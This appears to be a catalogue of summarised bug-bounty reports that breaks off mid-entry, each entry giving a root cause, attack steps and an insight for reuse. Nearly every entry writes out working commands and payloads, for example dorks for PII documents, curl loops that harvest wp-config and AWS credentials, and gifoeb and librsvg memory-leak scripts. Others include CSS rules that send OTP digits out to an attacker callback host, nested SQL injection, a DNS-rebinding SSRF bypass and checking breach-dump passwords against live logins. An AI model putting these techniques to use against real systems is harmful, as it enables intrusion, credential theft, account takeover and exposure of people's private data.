◆ Critical
Specimen #219197 · x · awarded · 19 votes · resolved
Program xSurface web
Root cause
An Apache .htpasswd file is web-servable, exposing a username and crackable password hash for a protected area.
Method
- Request /.htpasswd (and .htaccess, .git/, .env) on each host/subdomain
- Retrieve user:hash
- Crack the hash offline to access the protected resource
GET http://SUB.TARGET/.htpasswd -> previewuser:$apr1$...hash...
Insight — Config/auth dotfiles at web root (.htpasswd, .htaccess, .env, .git/config) are high-value recon hits; fuzz them per host. A hash here becomes credentials after cracking.
Real-world example
ImageMagick uninitialized palette memory disclosure via crafted GIF upload (gifoeb)
◆ Critical
Specimen #271355 · avito · none · 18 votes · resolved
Program avitoSurface webChain crafted GIF upload -> ImageMagick uninitialized palette -Tag file-upload
Root cause
A vulnerable ImageMagick processes user-uploaded images with an uninitialized image palette; a crafted GIF (generated by neex's gifoeb) causes the server to embed uninitialized heap memory into the converted output, which is then recovered to leak server memory (other users' data, credentials, keys, SQL, file paths).
Method
- Generate probe GIFs at the target's preview resolution with gifoeb (gen)
- Upload them through the image-upload feature (e.g. listing photos); download the processed previews
- Recover leaked memory from the outputs with gifoeb (recover) piped to strings
r=640x480
mkdir -p for_upload
for i in `seq 1 10`; do ./gifoeb gen $r for_upload/$i.gif; done
# upload the gifs at the target's preview resolution, save processed outputs to previews/
for p in previews/*; do ./gifoeb recover $p | strings; done
Insight — Any endpoint that re-encodes uploaded images (thumbnails/previews) is a candidate for uninitialized-memory disclosure on vulnerable ImageMagick/GD. Match your probe image dimensions to the server's output resolution so uninitialized bytes survive into the returned image, then diff/recover them. This turns a passive upload feature into a server heap-read oracle.
Real-world example
Sensitive internal documents in public uploads directory
◆ Critical
Specimen #693933 · deptofdefense · none · 17 votes · resolved
Program deptofdefenseSurface webChain partial SSN + full name -> access to sensitive personnel
Root cause
Internal training/briefing documents (PPTX/PDF) containing live PII (SSNs, medical records, DSN/CIV numbers) are hosted in a world-readable CMS uploads directory.
Method
- Enumerate/dork the site's public uploads path for office documents
- Download .pptx/.pdf/.docx briefings
- Inspect slides/screenshots for embedded live PII (partial SSN, medical, IDs)
GET https://TARGET/wp-content/uploads/2018/12/HR_TECH_..._eMILPO_Brief.pptx
# search dorks: site:TARGET filetype:pptx | filetype:pdf intext:SSN/DSN
# slides embed screenshots of live records (SSN last-4, medical CIV#/PAD DSN#)
Insight — Public CMS uploads dirs frequently host internal training decks with screenshots of real production data. Enumerate uploads by date folders and dork for office file types; inspect embedded images, not just text.
Real-world example
Leaked API credential in public GitHub -> PII API with IDOR
◆ Critical
Specimen #694931 · equifax · none · 17 votes · resolved
Program equifaxSurface apiChain GitHub leaked credential -> authenticated PII API -> ITag account-takeover
Root cause
A hardcoded webservice credential committed to a public GitHub repo grants access to an internal SOAP/REST PII endpoint whose record identifier ('referencia') is a directly-enumerable integer (IDOR).
Method
- Recon GitHub for the target's org/keywords and leaked credentials in source and commit history.
- Use the recovered credential against the referenced webservice.
- Change the numeric 'referencia' parameter to enumerate arbitrary people's records (IDOR).
https://webservices.TARGET/webservices/efx_consultas.asmx/Estudio_360_Fisico?referencia=891550&Clave=LEAKED_KEY
# increment/alter referencia -> different victims' PII
Insight — GitHub secret leaks are a top ATO/data-breach source: grep repos AND commit history (secrets survive in history after deletion) for Clave/apikey/password. Chain a leaked key with an enumerable ID parameter for mass PII exposure.
Real-world example
Sensitive PII documents exposed and search-engine indexed
◆ Critical
Specimen #644358 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
Internal PII-bearing documents were uploaded under a public path (/wp-content/uploads/) with no access control, so they were directly reachable and indexed by search engines.
Method
- Run targeted dorks for document types on the target (site:TARGET filetype:pdf/xls/docx)
- Also query other engines and Wayback/Bing (coverage differs)
- Fetch and review documents under /wp-content/uploads/ for PII
site:TARGET filetype:pdf (SSN OR "date of birth" OR roster OR personnel)
site:TARGET inurl:/wp-content/uploads/ filetype:xlsx
Insight — Document-focused dorking against upload dirs (/wp-content/uploads/, /files/, /docs/) across multiple search engines and Wayback routinely surfaces mis-posted PII; upload directories rarely have per-file authz.
Real-world example
Removable visual redaction reveals hidden PII (SSN)
◆ Critical
Specimen #693943 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
Sensitive values in a slide/PDF were 'redacted' by overlaying an opaque colored block rather than deleting the underlying data; copying the file and deleting/moving the overlay object exposes the original text (SSN).
Method
- Obtain the public document (often via dorking upload dirs)
- Open in an editor (PowerPoint/PDF editor) and select the redaction shape
- Delete or move the opaque block, or extract the underlying text layer, to reveal the hidden value
# PDFs: the covered text is still in the content stream
pdftotext leaked.pdf - | less # underlying text survives a visual overlay
Insight — Treat any visually 'blacked-out' document as unredacted - colored rectangles, highlight overlays and image blur are cosmetic; extract the text layer (pdftotext) or move the shape in an editor to recover the true data.
Real-world example
WP AAM plugin aam-media param exposes wp-config DB credentials
◆ Critical
Specimen #1106505 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain config disclosure -> DB credentials -> full DB access
Root cause
The Advanced Access Manager (AAM) WordPress plugin's aam-media media endpoint could be abused to read protected files; appending ?aam-media=1 turned a blank page into disclosure of wp-config content (DB_NAME/DB_USER/DB_PASSWORD/DB_HOST).
Method
- Identify a WordPress site using the AAM plugin
- Request the media/asset endpoint that returns a blank page
- Append ?aam-media=1 to force the plugin to serve the raw protected file (wp-config), leaking DB credentials
GET /PATH/TO/RESOURCE?aam-media=1 HTTP/1.1
Host: TARGET
# blank page without the param; DB creds disclosed with it
Insight — Access-control plugins that gate files themselves often ship their own bypass parameter. When a page renders blank, fuzz plugin-specific query params (aam-media, download, file, attachment_id) that switch to raw-file delivery.
Real-world example
Exposed BMC Remedy ARsys admin dashboard (dork + trivial login bypass)
◆ Critical
Specimen #1566758 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
A BMC Remedy AR System (arsys) hierarchical dashboard form was reachable directly by URL and the login gate could be satisfied by entering any value in the username field, exposing an admin view without real authentication.
Method
- Google-dork for the ARsys form/dashboard path (arsys/forms/.../Dashboard, jspDashboard, cacheid params)
- Open the deep-linked dashboard URL directly
- When prompted, type any string in the username box to pass the weak client-side gate and reach the admin view
# dork
inurl:/arsys/forms/ intitle:Dashboard
# direct deep link pattern
https://TARGET/arsys/forms/HOST/ARPC%3AWeb%3AHier%3ADashboard/Default+Admin+View/?F536871388=1&mode=Submit&cacheid=XXXX
Insight — Enterprise middleware (BMC Remedy, Oracle, SAP) often exposes deep-linked forms whose auth is only a front page. Dork for product-specific URL signatures and try direct object/form URLs plus junk credentials before assuming a login blocks you.
Real-world example
wp-config.php editor backup file served in clear
◆ Critical
Specimen #1912671 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webChain config backup disclosure -> DB + AWS credentialsTag cloud-aws
Root cause
An editor/backup copy of wp-config.php (e.g. wp-config.php_ with a trailing char) is not parsed by PHP, so the web server returns it as plain text, disclosing MySQL and AWS credentials and secret keys.
Method
- Enumerate backup/temp variants of sensitive files with a wordlist of suffixes
- Request wp-config.php with editor/backup suffixes to get served source instead of executed PHP
- Harvest DB_/AWS_ credentials and salts from the returned text
for s in '_' '~' '.bak' '.old' '.save' '.swp' '.orig' '1' '.txt'; do
curl -sk "https://TARGET/wp-config.php$s" | grep -qi DB_PASSWORD && echo "HIT wp-config.php$s"
done
Insight — PHP only protects .php files by executing them; any non-.php copy (wp-config.php_, .bak, .swp, ~) is dumped verbatim. Always fuzz backup/editor suffixes on config files. .git/.svn and editor swap files leak the same secrets.
Real-world example
Publicly accessible backup ZIP leaking SMTP/DB/AWS credentials
◆ Critical
Specimen #2857082 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain exposed .zip -> hardcoded AWS/SMTP/DB creds -> cloud +Tag cloud-aws
Root cause
A backup/archive file (.zip) is left in a web-served directory without access control; extracting it yields source, backups, and hardcoded SMTP, database, and AWS credentials.
Method
- Enumerate common archive/backup paths and filenames under web roots (/data/, /backup/, /files/)
- Download the archive and extract it
- Grep extracted files (php/js/config/backups) for SMTP/DB creds and AWS access/secret/session keys, then validate scope
curl -O http://TARGET/data/backup.zip
unzip backup.zip
grep -RniE 'aws_(access|secret)|smtp|passwd|password|BEGIN (RSA|OPENSSH)' .
# wordlist: backup.zip site.zip www.zip data.zip db.zip <domain>.zip; ext: .zip .tar.gz .bak .sql .7z
Insight — Brute a targeted list of backup/archive names (domain-based and generic) against web roots and known upload/data dirs. One exposed archive commonly contains source + hardcoded cloud keys (here AWS us-gov-west-1), escalating a file exposure to full infra compromise.
Real-world example
phpinfo() page leaking environment credentials
◆ Critical
Specimen #883693 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain phpinfo env leak -> AD/domain credentials -> potential
Root cause
A publicly accessible phpinfo() page dumps the full PHP/environment configuration, including environment variables that hold Active Directory domain credentials (USERDOMAIN/USERNAME/PASSWORD).
Method
- Discover a phpinfo() page (common names: phpinfo.php, info.php, test.php, /phpinfo)
- Read the PHP Variables / Environment section
- Extract leaked env secrets - here AD USERDOMAIN/USERNAME/PASSWORD
GET /phpinfo
# scan for _SERVER / _ENV entries: USERDOMAIN, USERNAME, *PASSWORD*, DB_*, AWS_*
Insight — phpinfo pages are not just version banners - their Environment section frequently leaks secrets injected as env vars (DB passwords, AD/domain creds, API keys). Always fuzz for phpinfo/info/test.php and read the _ENV/_SERVER tables, not just the version.
Real-world example
Directory indexing exposes deploy artifacts (source + DB creds); exposed config files
◆ Critical
Specimen #684838 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webChain Exposed creds -> resource/database compromiseTag cloud-aws
Root cause
Directory listing left enabled over build/deploy artifact folders exposes packaged source and configuration files that embed credentials (Web Deploy SetParameters.xml, wp-config.php, .zip backups).
Method
- Enumerate an in-scope host (IP-range/ASN sweep, resolve related non-.mil hosts)
- Probe common build/deploy artifact paths (obj/Debug/, /Package/, backups)
- Follow directory index to package archives and parameter files
- Extract DB/AWS credentials and source code from the exposed files
https://TARGET/obj/Debug/
https://TARGET/obj/Debug/Package/APP.zip # zipped source backup
https://TARGET/obj/Debug/Package/APP.SetParameters.xml # DB credentials
# also: exposed wp-config.php copies leaking MySQL/AWS keys (see #3252302)
Insight — After finding directory indexing, look for framework-specific deploy leftovers: .NET Web Deploy Package/*.SetParameters.xml (plaintext connection strings), *.zip/*.bak source backups, and WordPress wp-config.php copies (wp-config.php.bak/.save/~). These turn a listing into credential + source disclosure.
Real-world example
Chained recon-to-takeover: exposed .git -> world-readable request log leaks creds; CSS-exfil of OTP
◆ Critical
Specimen #894110 · h1-ctf · none · 5 votes · resolved
Program h1-ctfSurface webChain .git/config -> source repo -> plaintext creds in web lTag account-takeover
Root cause
Layered information-disclosure primitives compound into full takeover: an exposed .git/config reveals the source repo, whose logger writes base64'd POST bodies (plaintext creds) to a web-accessible log file; later an OTP is stolen via CSS attribute-selector exfiltration when the 2FA page loads an attacker-controlled stylesheet URL.
Method
- dirsearch finds /.git/config -> read remote repo URL, pull source
- Source shows a logger writing requests to /bp_web_trace.log (web-accessible); base64-decode to recover username/password
- Firebase URL in a decompiled APK exposes /header/.json config; app shared_prefs leaks API token
- Point the 2FA page's app_style param at an attacker CSS file; leak each OTP digit via input[name^=code_N][value=X]{background:url(collab?...)}
# 1) source/creds leak
curl https://TARGET/.git/config
curl https://TARGET/bp_web_trace.log | cut -d: -f2 | base64 -d
# 2) CSS OTP exfiltration stylesheet
input[name^="code_1"][value="0"]{background-image:url("https://COLLAB/leak?p=1&c=0");}
# ...one rule per digit position x charset; served via ?app_style=https://COLLAB/final.css
Insight — Recon compounds: always fetch /.git/, decode any base64 request/debug logs for plaintext creds, pull Firebase *.json config and APK shared_prefs, and abuse any 'load external CSS/theme' parameter to exfiltrate on-screen secrets (OTP/CSRF) via attribute-selector background-image callbacks.
Real-world example
Exposed .git -> repo -> web-accessible plaintext-password log (+ CSS exfiltration)
◆ Critical
Specimen #895650 · h1-ctf · none · 4 votes · resolved
Program h1-ctfSurface webChain .git/config leak -> source repo -> plaintext password Tag account-takeover
Root cause
Directory/content fuzzing exposed .git/HEAD and .git/config, revealing the source repo; the app's request-logger wrote base64 request bodies to a web-reachable bp_web_trace.log, disclosing a login password in cleartext. Later, a 2FA CSS branding page was attacker-controllable, enabling CSS-selector exfiltration of a one-char OTP input.
Method
- Content-fuzz the host; fetch /.git/HEAD then /.git/config to learn the remote repo URL.
- Read the source (GitHub) to learn a logger writes base64 request data to bp_web_trace.log.
- GET /bp_web_trace.log, base64-decode, and read the leaked {username,password} from a prior POST.
- For CSS exfil: point the 2FA app_style CSS URL at your server and return input[name=code_N][value='X']{background:url(/hit?c=X&p=N)} rules to leak the OTP value char-by-char.
# git recon
curl https://TARGET/.git/config # -> [remote "origin"] url = https://github.com/ORG/repo.git
curl https://TARGET/bp_web_trace.log | base64 -d
# CSS exfiltration of a rendered <input> value
input[name=code_1][value='a']{background:url(https://COLLAB/hit?char=a&pos=1);}
input[name=code_1][value='b']{background:url(https://COLLAB/hit?char=b&pos=1);}
/* one rule per allowed char x position; hit fires for the real value */
Insight — Always fuzz for .git/.svn and named log files; a repo pointer plus a web-reachable log frequently equals plaintext credentials. When an app lets you supply a CSS/style URL that is applied to a page containing secret inputs, CSS attribute selectors leak the values with zero JS.
Real-world example
Unauthenticated Spring Boot Actuator exposure (incl. /heapdump)
◆ Critical
Specimen #1662474 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain heapdump -> extract session tokens/API keys from memory -Tag account-takeover
Root cause
Spring Boot Actuator v3 endpoints were exposed without auth; /actuator enumerates all endpoints and /actuator/heapdump downloads a full memory dump (secrets, tokens), while /env, /configprops, /mappings leak config and internal paths.
Method
- Request /actuator to list enabled endpoints.
- Pull /actuator/env, /configprops, /mappings for config, creds-shaped props, internal routes.
- Download /actuator/heapdump and analyze it (Eclipse MAT) for in-memory secrets/session tokens.
curl https://TARGET/actuator
curl https://TARGET/actuator/env
curl -o heap.hprof https://TARGET/actuator/heapdump # analyze with Eclipse MAT
Insight — On any Spring Boot target, probe /actuator and its children first; /heapdump is a full-secret jackpot and /env,/mappings,/configprops give config + internal attack surface for pivoting.
Real-world example
Blind CSS attribute-selector exfiltration of hidden 2FA inputs + forged base64 cookie SSRF
◆ Critical
Specimen #895587 · h1-ctf · none · 2 votes · resolved
Program h1-ctfSurface webChain .git/config leak -> log file cleartext creds -> forgedTag cors
Root cause
Two reusable primitives from an HTML-injection context: (1) CSS attribute selectors with background-image URLs leak the char-by-char value of unreadable inputs to an attacker server (blind exfiltration); (2) an application trust token was a base64-encoded JSON blob whose account_id was concatenated into a server-side URL, so forging the cookie injected path-traversal + /redirect?url= to reach internal hosts (SSRF).
Method
- Probe for an input by prefix: inject CSS input[name^=c][value]{background-image:url(//COLLAB/c)} — a callback confirms an input whose name starts with 'c'.
- Enumerate each hidden code input (code_1..code_7) and brute each character with input[name=code_N][value^=X] selectors; the callback that fires reveals value char X.
- Reassemble the exfiltrated code to defeat the blind 2FA field.
- Separately, decode the base64 token cookie {account_id,hash}; append '#' to comment trailing JSON, add ../../../ traversal and /redirect?url=INTERNAL to pivot the server to internal software host (SSRF), re-base64 and replay.
/* blind value exfil, one rule per (position,char) */
input[name=code_1][value^=a]{background-image:url(//COLLAB/code_1a)}
input[name=code_1][value^=b]{background-image:url(//COLLAB/code_1b)}
/* forged token cookie (base64 of): */
{"account_id":"ID../../../../../redirect?url=https://internal.host/#","hash":"..."}
Insight — CSS injection alone (no JS) can exfiltrate values of inputs you cannot read, including OTP/2FA fields, via attribute selectors + background-image callbacks; useful when XSS is blocked but HTML/CSS injection is allowed. And any client-held token that is merely base64 (not signed/verified server-side) is attacker-forgeable: decode it, and if a field is reflected into a server-side URL, inject traversal/redirect for SSRF.
Real-world example
Recon-to-disclosure primitive catalogue (source-map/robots/README leaks, str_replace bypass, numeric field-overflow privesc, SQLi-in-SQLi -> SSRF, DNS-rebinding SSRF bypass)
◆ Critical
Specimen #1068434 · h1-ctf · none · 1 votes · resolved
Program h1-ctfSurface webChain metafile/source-map recon -> SQLi -> nested-SQLi contrTag account-takeover
Root cause
A single target exposing a chain of classic information-disclosure and access-control flaws: metadata files (robots.txt, README.md, non-CDN JS) leaking secrets/paths, weak filters that fail on single-pass replacement, fixed-width record parsing that trusts caller-controlled field lengths, nested user-controlled SQL, and IP-based SSRF guards that only check pre-resolution.
Method
- Enumerate metafiles first: /robots.txt, README.md, and locally-hosted (non-CDN) JS/source maps often contain hidden paths, credentials, or the flag/secret inline.
- IDOR via encoded ID: id params that are base64 of {"id":N} are still IDOR; decode, decrement to hidden records (e.g. id 1) that admin/system objects hide behind.
- Fuzz API endpoints and parameter names (gobuster dir/fuzz, wfuzz --hc/--hs) to discover /sessions, /user?uuid=... that dump auth material and tie sessions to UUIDs.
- Tamper client-trusted state: base64 JSON cookie {"admin":false} -> re-encode {"admin":true} to unlock gated downloads.
- Bypass a naive str_replace() blacklist by nesting the forbidden token so one pass reconstructs it (see payload).
- Overflow a fixed-width serialized user record: age validated as numeric+len<=3 but 1e9 -> intval 1000000000 (10 chars) shifts a trailing 'Y' into the admin-flag offset -> privesc.
- Chain SQLi-inside-SQLi using MySQL hex literals to control an inner query's returned file path, letting the app compute the required auth hash for you, yielding SSRF/LFI.
- Use the SSRF as an oracle: it echoes upstream HTTP status and Content-Type, so brute-force internal /api endpoints and use SQL wildcards (%) in username/password params to exfiltrate creds character-by-character.
- Bypass a localhost SSRF guard that only validates the first DNS resolution via DNS rebinding (rbndr.us / whonow): resolve to a public IP on the check, 127.0.0.1 on the fetch.
# LFI/source disclosure str_replace single-pass bypass
# server does str_replace('admin.php','') then str_replace('secretadmin.php','')
/my-diary/?template=secretadmisecretaadmin.phpdmin.phpn.php # -> secretadmin.php
# Fixed-width record overflow -> admin flag (signup)
username=johnsmith3&password=x&age=1e9&firstname=john&lastname=smithYYYYYYYYYY
# 1e9 passes is_numeric + strlen<=3, intval -> 1000000000, pushes trailing Y into admin offset
# SQLi-in-SQLi via MySQL hex literal to set inner image path (SSRF)
' and 1=0 union select 0x2720616e6420313d3020756e696f6e2073656c65637420312c322c272e2e2f2e2e2f27202d2d20,2,3 --
# inner decodes to: ' and 1=0 union select 1,2,'../../' --
# SSRF localhost-guard bypass via DNS rebinding
target = A.1.1.1.1.1time.127.0.0.1.forever.rebind.network
# Forge an MD5-salt integrity hash (no HMAC) once salt is cracked
hashcat -O -m 10 -a 0 5f2940d65ca4140cc18d0878bc398955:203.0.113.33 rockyou.txt # salt=mrgrinch463
hash = md5(salt + target)
Insight — Treat metafiles and locally-hosted JS/source maps as the first disclosure surface. Any 'signature'/'auth' token that is md5(secret+value) with no HMAC is forgeable by cracking the salt from one known value/hash pair (hashcat -m 10/-m 20). Filters that use str_replace/blacklist without looping are defeated by nesting the token. Fixed-width or offset-based serialization trusts field lengths - smuggle length via numeric scientific notation. SSRF/IP guards that validate only the first DNS lookup fall to rebinding.
Real-world example
Invitation token via GraphQL -> .json lookup leaks invitee email
◆ High
Specimen #807448 · security · 7500 · 588 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A program owner could invite by username, read the created soft_launch_invitation token through GraphQL, then resolve that token via its .json endpoint to reveal the invitee's private email before they accepted.
Method
- Send an invite by username
- Query soft_launch_invitations { nodes { token } } on the team
- Fetch the invitation .json with the token to read recipient email
query { team(handle:"H"){ soft_launch_invitations { nodes { ... on InvitationsSoftLaunch { token } } } } }
# then GET /invitations/<token>.json -> {"email":"victim@..."}
Insight — Chase capability tokens (invite/share/reset tokens) exposed by one endpoint and resolve them on another; the second endpoint often over-discloses the target's PII.
Real-world example
Proxy/Tor mode leaks real IP via out-of-proxy DNS
◆ High
Specimen #1077022 · brave · awarded · 280 votes · resolved
Program braveSurface desktop
Root cause
Brave's Tor private window resolved DNS through the system resolver instead of the Tor SOCKS proxy, leaking the user's real IP and requested domains to the ISP/DNS server.
Method
- Capture traffic (Wireshark, filter dns) on the network interface
- Open the app's privacy/Tor/proxy mode and browse to a domain
- Check for plaintext DNS queries leaving directly (not via the proxy)
wireshark filter: dns # observe A query for visited domain leaving on the real interface
Insight — 'Anonymous'/proxy browsing modes routinely leak DNS: resolution must be forced through the proxy. Sniff DNS to prove real-IP/domain leakage in any privacy feature.
Real-world example
Trilateration defeats server-side distance rounding
◆ High
Specimen #1234406 · bumble · awarded · 278 votes · resolved
Program bumbleSurface api
Root cause
Bumble returned only a floor()-rounded distance to any user by ID. By moving the attacker account until the reported distance flips between integer values, the exact radius is recovered; three such points trilaterate the victim to ~5m.
Method
- Script attacker+victim sessions via the API; place victim at target
- Move attacker in small steps; record the point where distance flips N->N+1 (= exactly N away)
- Repeat from 3 start positions to get 3 exact radii
- Trilaterate the 3 circles to the victim's precise location
def rounded(): return math.floor(exact_distance()) # boundary between 1.0 and 2.0 == exactly 1.0 mi away
Insight — Rounding/quantizing a sensitive value server-side is not a real defense: detect the rounding boundary by stepping an input and watching the output flip, recovering the precise value. Applies to any coarsened distance/score/count.
Real-world example
Uninitialized memory leak via crafted SVG in outdated librsvg
◆ High
Specimen #2107680 · basecamp · 8868 · 246 votes · resolved
Program basecampSurface webTag file-uploadTag cloud-aws
Root cause
Basecamp converted uploaded SVG avatars with an outdated, vulnerable librsvg in the same process as request handling. A crafted SVG (with filters to recover data through conversion) exfiltrated uninitialized heap memory, including AWS keys and other users' request data, into the rendered preview.
Method
- Generate a malicious SVG that allocates and renders uninitialized memory (PoC gen script)
- Upload it as an avatar
- Fetch the generated preview (swap extension/filename in the signed URL) repeatedly
- Recover pixel->bytes and `strings` the output for secrets over many pulls
python3 rsvgeb.py gen 260x260 --format bmp out.png # upload as avatar
while true; do curl '<preview>$RANDOM.png' | python3 rsvgeb.py recover 260x260 - | strings -n 10 | tee -a loot.txt; done
Insight — Server-side image conversion (librsvg/ImageMagick/Ghostscript) on outdated libs leaks process memory into output images. Upload crafted SVG/image formats, then repeatedly harvest the rendered result and grep for secrets/other users' data.
Real-world example
Improper redaction: sensitive data under a movable overlay in published documents
◆ Critical
Specimen #874017 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
Sensitive data (an SSN) was 'redacted' by drawing an opaque rectangle over it in a slide/PDF rather than deleting the underlying pixels/text; the overlay is a separate movable object, so the data is still present.
Method
- Locate published documents (PPTX/PDF/images) via file-name dorks (e.g. site: + known filename on a search engine)
- Open the file and select/move the covering shape, or extract the underlying text/image layer
- Read the exposed SSN/PII beneath the overlay
Insight — Never trust visual redaction. On the next target, harvest documents from /wp-content/uploads and CDNs, then check for movable redaction boxes, selectable text under black bars, and prior versions of 're-fixed' files (the image itself is often never re-exported).
Real-world example
Outdated WordPress plugin on a microsite leaks form PII
◆ High
Specimen #340431 · uber · 4000 · 376 votes · resolved
Program uberSurface web
Root cause
A neglected microsite ran WordPress with an outdated Formidable Forms plugin (known CVE) that both reflected XSS and exposed collected form submissions (thousands of users' PII).
Method
- Enumerate microsites/marketing subdomains outside the core app
- Fingerprint CMS/plugins and versions (WordPress, Formidable Forms)
- Match versions to public advisories; test the known data-exposure/XSS vector
Insight — Microsites and regional marketing sites run outdated CMS plugins and quietly collect real user PII; enumerate them and map plugin versions to known CVEs.
Real-world example
secret_key_base leaked via Rails error page triggered by odd encoding
◆ High
Specimen #460545 · gitlab · USD 3500 · 146 votes · resolved
Program gitlabSurface webChain secret_key_base leak -> forge/decrypt signed session cookTag account-takeover
Root cause
Fuzzing a parameter with unusual character encodings triggers an unhandled exception; with show_exceptions/verbose errors enabled the Rails error page renders the application's secret_key_base, enabling signed-cookie forgery (and RCE when the cookie serializer is Marshal).
Method
- Fuzz each parameter with unusual encodings (invalid UTF-8, %-encoded control/multibyte chars)
- Watch for a full-page Rails/framework stack trace instead of a normal 4xx
- Scrape secret_key_base (and other secrets) from the error page
- Forge/decrypt signed cookies with the leaked key
# fuzz param values with encoding edge-cases to force an exception page, e.g.
GET /path?param=%C0%AE%C0%AE%2F%FE%FF HTTP/1.1
Insight — Verbose framework error pages are a top secret sink - always fuzz params with malformed encodings and watch for stack traces exposing secret_key_base / DB DSNs / tokens. secret_key_base alone = cookie forgery; Marshal serializer = RCE.
Real-world example
Slack link-unfurl leaks internal GitLab tickets; sequential IDs enumerable
◆ High
Specimen #1273292 · security · awarded · 118 votes · resolved
Program securitySurface webChain Slack unfurl -> internal GitLab issue previews + Sentry eTag webhook
Root cause
A shared/external Slack workspace is connected to internal GitLab (and Sentry) with an integration token; posting an internal issue URL triggers an unfurl preview showing the ticket title/description, and sequential issue IDs let an outsider enumerate internal tickets.
Method
- In a shared Slack channel, post an internal GitLab issue URL
- Observe the auto-unfurl preview showing the private ticket title/description
- Iterate sequential issue IDs to enumerate internal tickets (and Sentry exceptions)
https://gitlab.internal.TARGET/group/project/-/issues/1234 # unfurl preview leaks title+desc
Insight — Chat integrations (Slack/Teams) fetch link previews with an internal service token - in any shared/guest channel, paste internal URLs and see what unfurls, then walk sequential IDs. The bot's privileges become yours.
Real-world example
Anonymity break via identity ID left in uploaded image metadata
◆ High
Specimen #927338 · line · $3000 · 101 votes · resolved
Program lineSurface web
Root cause
An anonymous feature (OpenChat) stored the user's real (LINE) profile ID inside the metadata of images they attached, so anyone downloading the image can map the anonymous persona back to the real account.
Method
- As a victim, post an image inside the anonymous context
- As an attacker, download that image and inspect its metadata fields
- Recover the embedded real-account identifier that ties the anonymous profile to the real user
# download the attached image, then:
exiftool image.jpg # inspect all metadata
strings image.jpg | grep -i <known-id-prefix>
Insight — On any 'anonymous' or pseudonymous feature, download user-generated media and grep its metadata (EXIF/XMP/custom tags) for stable account IDs. Backends often stamp the uploader's real ID into stored files. Deanonymization needs no exploit, just metadata inspection.
Real-world example
Exposed real-time debug/log endpoint on secondary domain
◆ High
Specimen #503283 · slack · awarded · 100 votes · resolved
Program slackSurface web
Root cause
A debug endpoint left reachable on a secondary/CDN domain streamed worldwide real-time client error logs containing tokens, client IPs, session IDs, team/user IDs and user agents.
Method
- Enumerate secondary/telemetry/CDN domains of the target (here slackb.com, distinct from slack.com)
- Probe common debug/log paths: /debug, /logs, /status, /trace
- Open the endpoint and refresh to observe streaming real-time logs of other users
https://slackb.com/debug # refresh to stream live user error logs (tokens, IPs, session/team/user IDs)
Insight — Secondary hostnames (asset/CDN/telemetry domains that share the brand) frequently host forgotten debug tooling with no auth. Always fuzz debug/log paths on non-primary domains, not just the main app.
Real-world example
Harvesting target credentials from breach aggregators + no-MFA ATO
◆ High
Specimen #3250691 · khanacademy · none · 84 votes · resolved
Program khanacademySurface webChain breach-aggregator OSINT -> valid credential pair -> noTag account-takeover
Root cause
User credentials for a target domain surface in third-party breach dumps / stealer-log aggregators (leakradar.io, VirusTotal, Telegram breach bots); when the app enforces no MFA and no anomalous-login detection, valid pairs give direct account takeover including staff accounts.
Method
- Search breach aggregators / stealer-log services for the target login URL or domain (leakradar.io, VirusTotal comments, Telegram 'logs' bots, dehashed, IntelX)
- Filter results to the target's login endpoint (e.g. www.khanacademy.org/login)
- Validate a sample of email:password pairs against the live login; note any staff/admin accounts
- Because no MFA / new-device OTP is enforced, a valid pair = full ATO with no user alert
# recon queries
site:leakradar.io "khanacademy.org"
# stealer-log line format seen in these reports:
https://www.khanacademy.org/login,<email>,<password>,...,Personal
Insight — Credential-leak recon is a legitimate, repeatable finding: pivot from the target domain through public breach/stealer-log aggregators, confirm live-valid pairs, and escalate impact by demonstrating missing MFA. Highest-value hits are employee/admin accounts.
Real-world example
EXIF/GPS survives HEIC->PNG server-side conversion
◆ High
Specimen #1069039 · reddit · awarded · 67 votes · resolved
Program redditSurface webTag file-upload
Root cause
The metadata-stripping step assumes a normal upload path; an uncommon input format (HEIC/HEIF, uploadable only via Safari/macOS or IE) takes a conversion path that emits PNG but copies EXIF GPS unchanged.
Method
- Take a Live Photo (HEIC) on iPhone with GPS tagging on, sync to a Mac
- Upload the .HEIC via Safari on macOS (the only path that accepts raw HEIC)
- Fetch the resulting i.redd.it/<name>.png and read EXIF -> GPS coordinates present
- Scrape published PNGs to harvest other users' locations
exiftool downloaded.png | grep -i gps
Insight — Metadata scrubbing is often per-format. Test every format the accept filter or a niche browser allows (HEIC/HEIF, TIFF, WebP, RAW) - conversion pipelines that strip JPEG/PNG EXIF frequently miss the odd input path. Verify the OUTPUT bytes, not the UI.
Real-world example
XS-Search of protected tweets via a search URL-state redirect oracle
◆ High
Specimen #491473 · x · 560 · 66 votes · resolved
Program xSurface webChain URL-state oracle -> boolean queries -> full phrase/num
Root cause
The search endpoint changes its URL/redirect state depending on whether a query returns results; a cross-site attacker observes that state change to answer boolean queries about a victim's private (protected) tweets.
Method
- Craft advanced-search queries against the victim's protected tweets, e.g. 'secret from:victim'
- No results -> URL stays as-is; results -> URL rewrites to add f=tweets (a detectable state)
- Detect the state change cross-site (window navigation/URL-leak oracle)
- Binary-search with OR-lists (1001 OR 1002 OR ...) to extract digits/phrases, ~300 requests for all 4-digit numbers
https://twitter.com/search?q=<phrase>%20from%3Avictim&src=typd
# results present => redirects to ...&f=tweets&... (leaked state)
# extraction via OR-batched queries: 1001 OR 1002 OR 1003 ... (<=50 terms)
Insight — Any search/filter endpoint whose URL, redirect, title, or response-count differs on hit-vs-miss is an XS-Leak oracle. Combine advanced-search operators (from:, AND/OR) with binary search to exfiltrate private content one boolean at a time.
Real-world example
Error-based username/email enumeration via forgot-password
◆ High
Specimen #1166054 · upchieve · none · 65 votes · resolved
Program upchieveSurface webTag account-takeover
Root cause
The forgot-password endpoint returns a distinct response (HTTP 500 {"err":"No account with that id found."}) for non-existent accounts, allowing enumeration of valid emails/users.
Method
- Submit a forgot-password request with a candidate email
